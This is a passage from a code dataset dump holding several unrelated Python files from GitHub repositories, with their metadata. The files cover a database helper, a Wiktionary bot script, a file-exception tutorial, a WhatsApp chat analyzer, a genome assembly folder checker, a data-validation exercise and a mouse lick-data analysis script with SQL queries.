instance\n\n @staticmethod\n def disconnect() -> None:\n \"\"\" Close connection to the database file\"\"\"\n\n DatabaseEngine.connection.close()\n DatabaseEngine.connection = None\n DatabaseEngine.cursor = None\n\n @staticmethod\n def commit() -> None:\n \"\"\" Save changes to a database after a command has been executed \"\"\"\n \n if not DatabaseEngine.connection: return # Dont commit if no connection is established\n DatabaseEngine.connection.commit()\n\n @staticmethod\n def gen_id() -> str:\n \"\"\" Generate a unique ID \"\"\"\n # A unique ID consists of 32 randomly selected upper/lowecase letters and numbers\n\n ID = \"\"\n for x in range(32):\n ID += random.choice(list(string.ascii_letters + string.digits))\n\n return ID\n\n @staticmethod\n def id_exists(table:str, ID:str) -> bool:\n \"\"\" Check if ID already exists in a table \"\"\"\n \n query = \"SELECT ID FROM %s WHERE ID = %s;\" # SQL query\n \n DatabaseEngine.connect() # Connect to the database\n DatabaseEngine.cursor.execute(query, (table, ID)) # Execute the query and fetch one record\n data = DatabaseEngine.cursor.fetchone()\n DatabaseEngine.disconnect()\n\n if not data: return False # Return false if no data is found\n return True\n\n","repo_name":"Green-Light-Innovation/vehicleemissions","sub_path":"database/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"16028464114","text":"import pywikibot\n\n\ndef main():\n s = \"\"\"\n{| class=\"wikitable sortable\" width=\"100%\"\n! Fiteny\n! Teny iditra\n \"\"\"\n main_category = pywikibot.Category(\n pywikibot.Site('mg', 'wiktionary'), 'fiteny')\n\n for c in main_category.subcategories():\n name = c.titleWithoutNamespace()\n s += \"\\n|-\\n| [[:sokajy:\" + name + \"|\" + name + \\\n \"]]\\n| {{PAGESINCATEGORY:\" + name + \"}}\"\n\n s += \"\\n|}\\n\"\n return s\n\n\nif __name__ == '__main__':\n s = main()\n print(s)\n","repo_name":"radomd92/botjagwar","sub_path":"compile_language_list.py","file_name":"compile_language_list.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"7589145947","text":"# Working with multiple files\n\n# The below code block is mostly the same from alice.py other than we moved it into a function which takes the parameter filename which gets it's data from the argument we call the function with\ndef countWords(filename):\n \"\"\"Count the approximate number of words in a file.\"\"\"\n try:\n with open(filename, encoding=\"utf-8\") as f:\n contents = f.read()\n\n except FileNotFoundError:\n # print(f\"Sorry, the file {filename} does not exist.\")\n pass\n else:\n # Count the approx number of words in the file\n words = contents.split()\n numWords = len(words)\n print(f\"The file {filename} has about {numWords} words.\")\n\nfilename = \"alice.txt\"\ncountWords(filename)\n\n# By putting our word count program in a function we can now call it as many times as we want for as many books as we want\n# We can do so by looping over a list of books\nfilenames = ['alice.txt', 'siddhartha.txt',\n 'moby_dick.txt', 'little_women.txt']\nfor filename in filenames:\n countWords(filename)\n \n# Using the try-except block in this example provides two significant\n# advantages. We prevent our users from seeing a traceback, and we let the\n# program continue analyzing the texts it’s able to find. If we don’t catch\n# the FileNotFoundError that siddhartha.txt raised, the user would see a full\n# traceback, and the program would stop running after trying to analyze\n# Siddhartha. It would never analyze Moby Dick or Little Women.\n\n\n# Failing silently\n# In the previous example, we informed our users that one of the files was unavailable. However we don't need to report every exception we catch. To make a program fail silently, we write a try block as usual,, but we explicitly tell python to do nothing in the except block.\n\n# except FileNotFoundError:\n # print(f\"Sorry, the file {filename} does not exist.\")\n \n# to:\n\n# except FileNotFoundError:\n# pass\n \n# The pass statement tells python to ignore the error and not output anything. So in the previous example of siddhartha.txt being missing wouldn't show if we used pass instead. See above to test.\n# Pass also acts as a placeholder. It is a reminder that we've chose to do nothing. Maybe in the future we'll want to write the missing novel to missingFiles.txt instead. Users won't be able to see any missing files and we can read it to deal with it.\n\n# Deciding which errors to report\n# If users know which texts are supposed to be analyzed, they might\n# appreciate a message informing them why some texts were not analyzed. If\n# users expect to see some results but don’t know which books are supposed\n# to be analyzed, they might not need to know that some texts were unavailable.\n# Giving users information they aren’t looking for can decrease the\n# usability of your program\n\n# 10-6. Addition: One common problem when prompting for numerical input\n# occurs when people provide text instead of numbers. When you try to convert\n# the input to an int, you’ll get a ValueError. Write a program that prompts for\n# two numbers. Add them together and print the result. Catch the ValueError if\n# either input value is not a number, and print a friendly error message. Test your\n# program by entering two numbers and then by entering some text instead of a\n# number.\n\n# firstNumber = input(\"Enter first number to be added: \")\n# secondNumber = input(\"Enter second number: \")\n\n# try:\n# addition = int(firstNumber) + int(secondNumber)\n# except ValueError:\n# print(\"You cannot add up letters!\")\n# else:\n# print(addition)\n\n# 10-7. Addition Calculator: Wrap your code from Exercise 10-6 in a while loop\n# so the user can continue entering numbers even if they make a mistake and\n# enter text instead of a number.\n\n# while True:\n# firstNumber = input(\"Enter first number to be added: \")\n# if firstNumber == \"q\":\n# break\n \n# secondNumber = input(\"Enter second number ('q' to quit): \")\n# if secondNumber == \"q\":\n# break\n \n# try:\n# addition = int(firstNumber) + int(secondNumber)\n# except ValueError:\n# print(\"You cannot add up letters!\")\n# else:\n# print(addition)\n\n\n# 10-8. Cats and Dogs: Make two files, cats.txt and dogs.txt. Store at least three\n# names of cats in the first file and three names of dogs in the second file. Write\n# a program that tries to read these files and print the contents of the file to the\n# screen. Wrap your code in a try-except block to catch the FileNotFound error,\n# and print a friendly message if a file is missing. Move one of the files to a different\n# location on your system, and make sure the code in the except block\n# executes properly.\n\ndef animalNames(filename):\n \n try:\n with open(filename, \"r\") as f:\n contents = f.read()\n except:\n print(f\"The {filename} is missing.\")\n else:\n print(contents)\n \nfiles = [\"dogs.txt\", \"cats.txt\"]\nfor file in files:\n animalNames(file)\n\n\n# 10-9. Silent Cats and Dogs: Modify your except block in Exercise 10-8 to fail\n# silently if either file is missing.\n\ndef animalNames(filename):\n\n try:\n with open(filename, \"r\") as f:\n contents = f.read()\n except:\n pass\n else:\n print(contents)\n\nfiles = [\"dogs.txt\", \"cats.txt\"]\nfor file in files:\n animalNames(file)\n\n# 10-10. Common Words: Visit Project Gutenberg(https: // gutenberg.org /)\n# and find a few texts you’d like to analyze. Download the text files for these\n# works, or copy the raw text from your browser into a text file on your\n# computer.\n# You can use the count() method to find out how many times a word or\n# phrase appears in a string. For example, the following code counts the number\n# of times 'row' appears in a string:\n# >> > line = \"Row, row, row your boat\"\n# >> > line.count('row')\n# 2\n# >> > line.lower().count('row')\n# 3\n# Notice that converting the string to lowercase using lower() catches\n# all appearances of the word you’re looking for, regardless of how it’s\n# formatted.\n# Write a program that reads the files you found at Project Gutenberg and\n# determines how many times the word 'the' appears in each text. This will be\n# an approximation because it will also count words such as 'then' and 'there'.\n# Try counting 'the ', with a space in the string, and see how much lower your\n# count is .\n\ndef theCount(filename):\n \"\"\"Counting the amount of times 'the' appears in a novel\"\"\"\n with open(filename, encoding=\"utf-8\") as f:\n text = f.read()\n \n # 'the' will capture all the along with words with 'the' in it like them, then, etc\n print(f\"\\n{text.count('the')}\")\n # Adding the space after 'the' guarantees the word the 'the' itself\n print(text.count(\"the \"))\n # using lower will allow us to count the \"The\" as well\n print(text.lower().count(\"the\"))\n\nfilename = \"alice.txt\"\ntheCount(filename)\n","repo_name":"mreboland/pythonFilesExceptions","sub_path":"wordCount.py","file_name":"wordCount.py","file_ext":"py","file_size_in_byte":6909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23228566448","text":"from urlextract import URLExtract\nfrom wordcloud import WordCloud,ImageColorGenerator\nfrom collections import Counter\nimport pandas as pd\nimport emoji\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.tree import DecisionTreeClassifier\nimport numpy as np\nfrom PIL import Image\nimport streamlit as st\nextactor = URLExtract()\n\ndef stats(data,user):\n\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n\n total_msg = data.shape[0] # total msgs\n\n words = [] # total words\n for x in data[\"message\"]:\n words.extend(x.split())\n val = \"\\n\"\n if val in data[\"message\"]:\n total_media = data['message'].value_counts()[\"\\n\"]\n else:\n total_media =0\n\n link = []\n for msg in data[\"message\"]:\n link.extend(extactor.find_urls(msg)) # total link\n\n return total_msg, len(words),total_media , len(link)\n\n\n\ndef busy_user(data):\n data = data[data[\"User\"] != \"Group Notification\"] \n val = data[\"User\"].value_counts().head()\n percetange_of_each_user = round( (data[\"User\"].value_counts()/data.shape[0])*100 , 2)\n return val,percetange_of_each_user\n\n\ndef create_word_cloud(data , user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n temp_data = data[data[\"User\"] != \"Group Notification\"] # remove grp notification\n temp_data = temp_data[temp_data[\"message\"]!= \"\\n\"] # remove media_omttied\n \n f = open(\"stopwords.txt\" ,'r')\n stop_words = f.read()\n stop_words = stop_words.split()\n\n def remove_stop_words(msg):\n y = []\n for x in msg.lower().split():\n if x not in stop_words:\n y.append(x)\n return \" \".join(y)\n \n temp_data[\"message\"] = temp_data[\"message\"].apply(remove_stop_words)\n \n mask = np.array(Image.open('wp.jpg'))\n mask[mask == 0] = 255\n wc = WordCloud(width = 500 , height = 500 , min_font_size =10 ,background_color = 'black',mask =mask)\n df_wc = wc.generate(temp_data[\"message\"].str.cat(sep = \" \"))\n return df_wc\n\n\ndef most_common_word(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n temp_data = data[data[\"User\"] != \"Group Notification\"] # remove grp notification\n temp_data = temp_data[temp_data[\"message\"]!= \"\\n\"] # remove media_omttied\n f = open(\"stopwords.txt\" ,'r')\n stop_words = f.read()\n stop_words = stop_words.split()\n\n words = []\n for msg in temp_data[\"message\"]:\n for x in msg.lower().split():\n if x not in stop_words:\n words.extend(x.split())\n\n new_data = pd.DataFrame(Counter(words).most_common(10))\n new_data = new_data.rename(columns= {0 : \"Words\" , 1:\"Frequency\"})\n return new_data\n\n\ndef emoji_filter(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n emojis = []\n for msg in data[\"message\"]:\n emojis.extend([c for c in msg if c in emoji.EMOJI_DATA])\n new_data = pd.DataFrame(Counter(emojis).most_common(len(Counter(emojis))))\n return new_data\n \n\ndef monthly_timeline(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n \n res = data.groupby(['year' , 'month'])['message'].count().reset_index()\n time = []\n for i in range(res.shape[0]):\n time.append(res[\"month\"][i] + \"-\" + str(res[\"year\"][i]))\n res[\"time\"] = time\n return res\n\ndef daily_timeline(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n \n daily_timeline = data.groupby('only_date')[\"message\"].count().reset_index()\n return daily_timeline \n\ndef week_activity(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n if(\"count\" in data.columns):\n data.rename(columns={'count': 'index'}, inplace=True)\n return data[\"day_name\"].value_counts().reset_index()\n\ndef month_activity(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n return data[\"month\"].value_counts().reset_index()\n\n\ndef hours_activity(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n return data.pivot_table(index = \"day_name\", columns=\"period\", values = \"message\" ,aggfunc = 'count').fillna(0)\n\n\ndef logit_model(data,user):\n if(user != \"Overall\"):\n data = data[data['User'] == user]\n \n data = data.dropna()\n X = data[\"message\"]\n y = data[\"urgency\"]\n\n vectorizer = CountVectorizer()\n X = vectorizer.fit_transform(X)\n\n model = DecisionTreeClassifier()\n model.fit(X.toarray(), y)\n\n return model,vectorizer\n\n\n","repo_name":"eknathmali/WhatsApp-Chat-Analyzer-A-Data-Science-ML-Project","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36727231241","text":"# -*- coding: utf-8 -*-\n\nimport ConfigParser\nimport json\nimport os\n\nfrom database import REThink\n\nCURRENT_DIR = os.path.dirname(__file__)\nCONFIG_FILE = os.path.join(CURRENT_DIR, '..', 'scraping.cfg')\ndatabase = None\n\n\ndef readConfig():\n config = ConfigParser.ConfigParser()\n config.read(CONFIG_FILE)\n return config\n\n\ndef setup_database():\n global database\n config = readConfig()\n host = config.get('DATABASE', 'host')\n port = config.get('DATABASE', 'port')\n db = config.get('DATABASE', 'database')\n table = config.get('DATABASE', 'table')\n\n database = REThink(db=None, host=host, port=port)\n\n database.create_database(db)\n database.use_database(db)\n\n database.create_table(table)\n\n\ndef get_database_object():\n global database\n if not database:\n setup_database()\n\n return database\n\n\ndef setup_storage_path():\n config = readConfig()\n storage_path = os.path.join(\n CURRENT_DIR, '..', config.get('STORAGE', 'PATH'))\n if not os.path.exists(storage_path):\n os.makedirs(storage_path)\n\n\ndef save_detail_to_storage(section, file_name, data):\n config = readConfig()\n storage_path = os.path.join(\n CURRENT_DIR, '..', config.get('STORAGE', 'PATH'))\n\n file_path = os.path.join(storage_path, section)\n check_path(file_path)\n\n file_path = os.path.join(storage_path, section, file_name)\n if not os.path.exists(file_path):\n setup_storage_path()\n\n with open(file_path, 'w') as f:\n json.dump(data, f)\n\n database.insert(section, data)\n\n\ndef split_name(name):\n _split = name.split()\n return _split[0], _split[-1]\n\n\ndef check_path(path):\n '''\n checks if path is present,\n if not, create it.\n '''\n if not os.path.exists(path):\n os.makedirs(path)\n","repo_name":"AjanShrestha/intelius-older","sub_path":"using_mechanize/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40584282275","text":"# -*- coding: utf-8 -*-\n# __author__ = gaohao\n# last_modify:2018.03.16\n\n\nimport re, Bio, urllib2, regex, os\nimport subprocess\nfrom biocluster.iofile import Directory\nfrom collections import defaultdict\nfrom biocluster.config import Config\nfrom biocluster.core.exceptions import FileError\nfrom mbio.files.sequence.fastq import FastqFile\n\n'''\n微生物基因组参数assemble文件夹检查\n'''\n\n\nclass AsseDirFile(Directory):\n \"\"\"\n 定义raw_dir文件夹\n \"\"\"\n def __init__(self):\n super(AsseDirFile, self).__init__()\n\n def get_info(self):\n \"\"\"\n 获取文件属性\n :return:\n \"\"\"\n super(AsseDirFile, self).get_info()\n seqinfo = self.get_raw_info()\n self.set_property(\"sample_list\", seqinfo[0])\n\n def check(self):\n \"\"\"\n 检测文件是否满足要求,发生错误时应该触发FileError异常\n :return:\n \"\"\"\n filelist = os.listdir(self.prop['path'])\n asse_list_path = os.path.join(self.prop['path'], \"list.txt\")\n if not len(filelist):\n raise FileError('组装序列文件夹为空,请检查确认', code=\"41400101\")\n if not os.path.exists(asse_list_path):\n raise FileError('组装序列文件夹的list.txt为不存在,请检查确认', code=\"41400102\")\n files = os.listdir(self.prop['path'])\n with open(asse_list_path, \"r\") as f:\n lines = f.readlines()\n for line in lines:\n line2 = line.strip().split(\"\\t\")\n if len(line2) == 2 or len(line2) == 3:\n pass\n else:\n raise FileError('组装序列文件夹的list.txt不规范,请检查确认')\n for file in files:\n if re.search(r'.fasta',file) or re.search(r'.fna',file) or re.search(r'.fa',file):\n with open(self.prop['path'] + '/' + file,\"r\") as f, open(self.prop['path'] + '/' + file+'_new','w') as fw:\n for lin in f:\n lin = lin.rstrip('\\n\\r\\t')\n if not re.search('^>',lin):\n if re.search('[^ATGCNatgcn]',lin):\n #raise FileError('组装序列文件%s含有特殊字符!'%file)\n lin = re.sub('[^atcgnATCGN]','N', lin) #将兼并碱基替换成N\n fw.write(lin+'\\n')\n os.system('mv %s %s'%(self.prop['path'] + '/' + file+'_new', self.prop['path'] + '/' + file))\n\n def get_raw_info(self):\n \"\"\"\n 获取dir文件夹的样品信息\n :return: (sample_list)\n \"\"\"\n sample_list ={}\n raw_list_path = os.path.join(self.prop['path'], \"list.txt\")\n with open(raw_list_path, \"rb\") as l:\n lines = l.readlines()\n for line in lines[1:]:\n line2 = line.strip().split(\"\\t\")\n sample_list[line2[0]] = line2[0]\n return sample_list\n\nif __name__ == \"__main__\":\n raw_dir = AsseDirFile()\n #raw_dir.set_path(\"/mnt/lustre/users/sanger/workspace/20190314/Bacgenome_i-sanger_165214/remote_input/asse_dir/assemble\")\n #test = raw_dir.get_info()\n #raw_dir.check()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/files/bacgenome/asse_dir.py","file_name":"asse_dir.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"28706875274","text":"# import matplotlib.pyplot as plt\r\n\r\n# Read the data from the file “people.txt”.\r\npeople_file = open('People.txt','r')\r\npeople_data = [i.split() for i in (people_file.readlines()[1::])]\r\n\r\n# Create a ruleset E that contain rules to check for the following conditions:\r\n# 1. The age should be in the range 0-150.\r\n# 2. The age should be greater than yearsmarried.\r\n# 3. The status should be married or single or widowed.\r\n# 4. If age is less than 18 the agegroup should be child, if age is between 18 and 65 the agegroup\r\n# should be adult, if age is more than 65 the agegroup should be elderly.\r\n\r\nclass People:\r\n\r\n def __init__(self,age,ageGroup,height,status,yearMarried):\r\n self.age = int(age)\r\n self.ageGroup=ageGroup\r\n self.height=float(height)\r\n self.status=status\r\n self.yearMarried=int(yearMarried)\r\n\r\n def verifyAge(self):\r\n if(self.age>=0 and self.age<=150):\r\n return True\r\n return False\r\n \r\n def verifyYearsMarried(self):\r\n if(self.age>self.yearMarried):\r\n return True\r\n return False\r\n\r\n def verifyStatus(self):\r\n check=['married','single','widowed']\r\n if self.status.lower() in check:\r\n return True\r\n return False\r\n\r\n def verifyAgeGroup(self):\r\n if self.age<=18 and self.ageGroup.lower()=='child':\r\n return True\r\n elif self.age<=65 and self.ageGroup.lower()=='adult':\r\n return True\r\n elif self.age>65 and self.ageGroup.lower()=='elderly':\r\n return True\r\n else:\r\n return False\r\n\r\n def verify(self):\r\n if self.verifyAge() and self.verifyAgeGroup() and self.verifyYearsMarried() and self.verifyStatus():\r\n return True\r\n return False\r\n \r\n# Check whether ruleset E is violated by the data in the file people.txt.\r\npeoples=[]\r\nageVisualize=[0,0]\r\nageGroupVisualize=[0,0]\r\nstatusVisualize=[0,0]\r\nyearMarriedVisualize=[0,0]\r\nfor i in people_data:\r\n peoples.append(People(i[0],i[1],i[2],i[3],i[4]))\r\nfor i in range(0,len(peoples)):\r\n print(f\"People-{i+1}:-\")\r\n\r\n if peoples[i].verifyAge():\r\n ageVisualize[0]+=1 \r\n else:\r\n ageVisualize[1]+=1\r\n print(\"Age: \",\"satisfied\" if peoples[i].verifyAge() else \"unsatisfied\")\r\n\r\n if peoples[i].verifyAgeGroup():\r\n ageGroupVisualize[0]+=1 \r\n else:\r\n ageGroupVisualize[1]+=1\r\n print(\"AgeGroup: \",\"satisfied\" if peoples[i].verifyAgeGroup() else \"unsatisfied\")\r\n\r\n if peoples[i].verifyStatus():\r\n statusVisualize[0]+=1 \r\n else:\r\n statusVisualize[1]+=1\r\n print(\"Status: \",\"satisfied\" if peoples[i].verifyStatus() else \"unsatisfied\")\r\n\r\n if peoples[i].verifyYearsMarried():\r\n yearMarriedVisualize[0]+=1 \r\n else:\r\n yearMarriedVisualize[1]+=1\r\n print(\"Year-Married: \",\"satisfied\" if peoples[i].verifyYearsMarried() else \"unsatisfied\")\r\n\r\n print(ageVisualize)\r\n print(ageGroupVisualize)\r\n print(statusVisualize)\r\n print(yearMarriedVisualize)\r\n\r\n# Summarize the results obtained in above part\r\nallVisualize=[0,0]\r\nfor i in range(0,len(peoples)):\r\n if peoples[i].verify():\r\n allVisualize[0]+=1\r\n else:\r\n allVisualize[1]+=1\r\n print(f\"People-{i+1}: {'All Satisfied' if peoples[i].verify() else 'One or more condition violates'}\")\r\n\r\n# Visualize the results obtained in above part\r\n# x=['Valid','Invalid']\r\n\r\n# # Age Visualization\r\n# fig = plt.figure(figsize=(10,5))\r\n# plt.bar(x,ageVisualize,color=\"maroon\",width=0.2)\r\n\r\n# plt.title(\"Age Visualization\")\r\n# plt.ylabel(\"No. of Data Entries\")\r\n# plt.show()\r\n\r\n# # Age Group Visualization\r\n# fig = plt.figure(figsize=(10,5))\r\n# plt.bar(x,ageGroupVisualize,color=\"green\",width=0.2)\r\n\r\n# plt.title(\"Age Group Visualization\")\r\n# plt.ylabel(\"No. of Data Entries\")\r\n# plt.show()\r\n\r\n# # Status Visualization\r\n# fig = plt.figure(figsize=(10,5))\r\n# plt.bar(x,statusVisualize,color=\"blue\",width=0.2)\r\n\r\n# plt.title(\"Status Visualization\")\r\n# plt.ylabel(\"No. of Data Entries\")\r\n# plt.show()\r\n\r\n# # Year Married Visualization\r\n# fig = plt.figure(figsize=(10,5))\r\n# plt.bar(x,yearMarriedVisualize,color=\"blue\",width=0.2)\r\n\r\n# plt.title(\"Year Married Visualization\")\r\n# plt.ylabel(\"No. of Data Entries\")\r\n# plt.show()\r\n\r\n# # Overall Visualization\r\n# fig = plt.figure(figsize=(10,5))\r\n# plt.bar(x,allVisualize,color=\"blue\",width=0.2)\r\n\r\n# plt.title(\"Overall Visualization\")\r\n# plt.ylabel(\"No. of Data Entries\")\r\n# plt.show()\r\n","repo_name":"Bakul26630/Data-Mining","sub_path":"Practical-1/Practical_1.py","file_name":"Practical_1.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40734758272","text":"\"\"\"#!/usr/bin/env python\"\"\"\nimport pandas as pd\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pymysql\nimport seaborn as sns\nfrom password import database_password as DBpwd\nfrom password import database_user as DBuser\nfrom password import database_host as DBhost\nfrom password import database as DB\n\n\nanalize_licks = False\n\ntaglist=[201608466,201608468,201608481,201609114,201609124,201609136,201609336,210608298,210608315,2016080026,\n 2016090636,2016090791,2016090793,2016090845,2016090943,2016090948,2016091033,2016091112,2016091172,2016091184,\n 2016090629,2016090647,2016090797,2016090882,2016090964,2016090965,2016090985,2016091183,2016090707,\n 201608252,201608423,201608474,2016080008,2016080009,2016080104,2016080242,2016080250,\n 801010270,801010219,801010044,801010576,801010442,801010205,801010545,801010462,\n 801010272,801010278,801010378,801010459,801010534,801010543,801010546]\n\n\n#????????????????????????????????get data from database and preprocessing functions???????????????????????????????????????????????????\n\n# get data from database. usually no adjustments required\ndef getFromDatabase(query):\n db2 = pymysql.connect(host=DBhost, user=DBuser, db=DB, password=DBpwd)\n cur2 = db2.cursor()\n try:\n cur2.execute(query) #, (GO,MOUSE)\n rows = cur2.fetchall()\n except pymysql.Error as e:\n try:\n print(\"MySQL Error [%d]: %s\" % (e.args[0], e.args[1]))\n return None\n except IndexError:\n print(\"MySQL Error: %s\" % str(e))\n return None\n except TypeError as e:\n print(\"MySQL Error: TypeError: %s\" % str(e))\n return None\n except ValueError as e:\n print(\"MySQL Error: ValueError: %s\" % str(e))\n return None\n db2.close()\n return rows\n\n\ndef generateQuery(table):\n if table == \"all_outcomes\":\n query = \"\"\"SELECT licks.Mouse,licks.`Timestamp`, licks.Delta_time, headfix_trials_summary.Notes, headfix_trials_summary.Project_ID FROM `licks`\n inner JOIN `headfix_trials_summary` ON `licks`.`Related_trial` = `headfix_trials_summary`.`Trial start`\n WHERE `headfix_trials_summary`.`Fixation` = \"fix\" and \n ((Date(headfix_trials_summary.`Trial start`) between \"2017-08-28\" and \"2017-10-12\") OR \n (Date(headfix_trials_summary.`Trial start`) between \"2018-02-19\" and \"2018-04-01\") OR \n (Date(headfix_trials_summary.`Trial start`) between \"2018-04-28\" and \"2018-06-01\") OR \n (Date(headfix_trials_summary.`Trial start`) between \"2018-08-08\" and \"2018-10-23\") OR \n (Date(headfix_trials_summary.`Trial start`) between \"2018-11-23\" and \"2018-12-20\")) \n AND licks.Delta_time between -3 and 5 AND `headfix_trials_summary`.`Licks_within_lickwithhold_time` IS NULL\n \"\"\"\n elif table == \"single_mouse\":\n query = \"\"\"SELECT `licks`.`Mouse`,`licks`.`Timestamp`, `licks`.`Delta_time`, `headfix_trials_summary`.`Notes`,\n `headfix_trials_summary`.`Project_ID`, `headfix_trials_summary`.`Task` FROM `licks`\n INNER JOIN `headfix_trials_summary` ON `licks`.`Related_trial` = `headfix_trials_summary`.`Trial start`\n WHERE `headfix_trials_summary`.`Fixation` = \"fix\" AND \n ((Date(headfix_trials_summary.`Trial start`) BETWEEN \"2018-08-08\" and \"2018-08-11\") OR \n (Date(headfix_trials_summary.`Trial start`) BETWEEN \"2018-08-21\" and \"2018-08-24\") OR\n (Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-09-22\" and \"2018-09-25\") OR\n (Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-10-01\" and \"2018-10-04\"))\n AND (licks.Delta_time BETWEEN -3 and 5) AND licks.Mouse IN (\"201608423\")\n AND `headfix_trials_summary`.`Licks_within_lickwithhold_time` IS NULL\n \"\"\"\n elif table == \"counts\": #days 1-4, 14-17,46-49,55-58\n query = \"\"\"SELECT `Task`,`Notes`,\n SUM(IF(Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-08-08\" and \"2018-08-11\",1,0)) AS `early`,\n SUM(IF((Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-08-21\" and \"2018-08-24\"),1,0)) AS `nogo`,\n SUM(IF((Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-09-22\" and \"2018-09-25\"),1,0)) AS `late`,\n SUM(IF((Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-10-01\" and \"2018-10-04\"),1,0)) AS `later`\n FROM `headfix_trials_summary` WHERE `Mouse` IN (\"201608423\")\n AND `Fixation`=\"fix\"\n AND `headfix_trials_summary`.`Licks_within_lickwithhold_time` IS NULL\n group BY `Task`,`Notes` WITH ROLLUP\"\"\"\n elif table == \"times\":\n query = \"\"\"SELECT Date(`Trial start`) AS `Date`, ROUND(MIN(`Lickwithhold time`),1), ROUND(MAX(`Lickwithhold time`),1), ROUND(MIN(`Reaction time`),2),ROUND(MAX(`Reaction time`),2), `Notes`\n FROM `headfix_trials_summary`\n WHERE `Fixation` = \"fix\" AND\n (Date(headfix_trials_summary.`Trial start`) BETWEEN \"2018-08-08\" and \"2018-10-23\") \n AND `Notes` IN (\"GO=2\",\"GO=1\",\"GO=-4\")\n GROUP BY `Date`, `Notes`\"\"\"\n elif table == \"textfile\":\n query = \"\"\"SELECT `Timestamp`,`Event` FROM `textfilesgroup4` WHERE `Timestamp` BETWEEN \"2018-09-25 04:09:54.78\" AND \"2018-09-25 04:10:43.47\"\n \"\"\"\n #2018-09-15 05:26:53.04, BETWEEN \"2018-09-24 23:22:52.51\" AND \"2018-09-24 23:23:36.57\", BETWEEN \"2018-09-24 23:34:37.65\" AND \"2018-09-24 23:35:30.06\n #BETWEEN \"2018-09-25 04:09:56.78\" AND \"2018-09-25 04:10:42.47\"\n elif table == \"single_mouse2\":\n query = \"\"\"SELECT `licks`.`Mouse`,`licks`.`Timestamp`, `licks`.`Delta_time`, `headfix_trials_summary`.`Notes`,\n `headfix_trials_summary`.`Project_ID`, `headfix_trials_summary`.`Task` FROM `licks`\n INNER JOIN `headfix_trials_summary` ON `licks`.`Related_trial` = `headfix_trials_summary`.`Trial start`\n WHERE `headfix_trials_summary`.`Fixation` = \"fix\" AND \n ((Date(headfix_trials_summary.`Trial start`) BETWEEN \"2018-08-08\" and \"2018-08-11\") OR \n (Date(headfix_trials_summary.`Trial start`) BETWEEN \"2018-08-24\" and \"2018-08-27\") OR\n (Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-09-13\" and \"2018-09-16\") OR\n (Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-09-25\" and \"2018-09-28\"))\n AND (licks.Delta_time BETWEEN -3 and 5) AND licks.Mouse IN (\"201608423\")\n AND `headfix_trials_summary`.`Licks_within_lickwithhold_time` IS NULL\n \"\"\"\n elif table == \"counts2\": #days 1-4, 17-20,37-40,49-52\n query = \"\"\"SELECT `Task`,`Notes`,\n SUM(IF(Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-08-08\" and \"2018-08-11\",1,0)) AS `1`,\n SUM(IF((Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-08-24\" and \"2018-08-27\"),1,0)) AS `2`,\n SUM(IF((Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-09-13\" and \"2018-09-16\"),1,0)) AS `3`,\n SUM(IF((Date(`headfix_trials_summary`.`Trial start`) BETWEEN \"2018-09-25\" and \"2018-09-28\"),1,0)) AS `4`\n FROM `headfix_trials_summary` WHERE `Mouse` IN (\"201608423\")\n AND `Fixation`=\"fix\"\n AND `headfix_trials_summary`.`Licks_within_lickwithhold_time` IS NULL\n group BY `Task`,`Notes` WITH ROLLUP\"\"\"\n elif table == \"licks_within_lickwithholdtime\":\n query = \"\"\"SELECT SUM(IF(`Licks_within_lickwithhold_time` = \"yes\" AND `Notes`=\"GO=1\",1,0)) / SUM(IF(`Licks_within_lickwithhold_time` is NULL AND `Notes`=\"GO=1\",1,0)) AS \"1\",\nSUM(IF(`Licks_within_lickwithhold_time` = \"yes\" AND `Notes`=\"GO=2\",1,0)) / SUM(IF(`Licks_within_lickwithhold_time` is NULL AND `Notes`=\"GO=2\",1,0)) AS \"2\",\nSUM(IF(`Licks_within_lickwithhold_time` = \"yes\" AND `Notes`=\"GO=-1\",1,0)) / SUM(IF(`Licks_within_lickwithhold_time` is NULL AND `Notes`=\"GO=-1\",1,0)) AS \"-1\",\nSUM(IF(`Licks_within_lickwithhold_time` = \"yes\" AND `Notes`=\"GO=-3\",1,0)) / 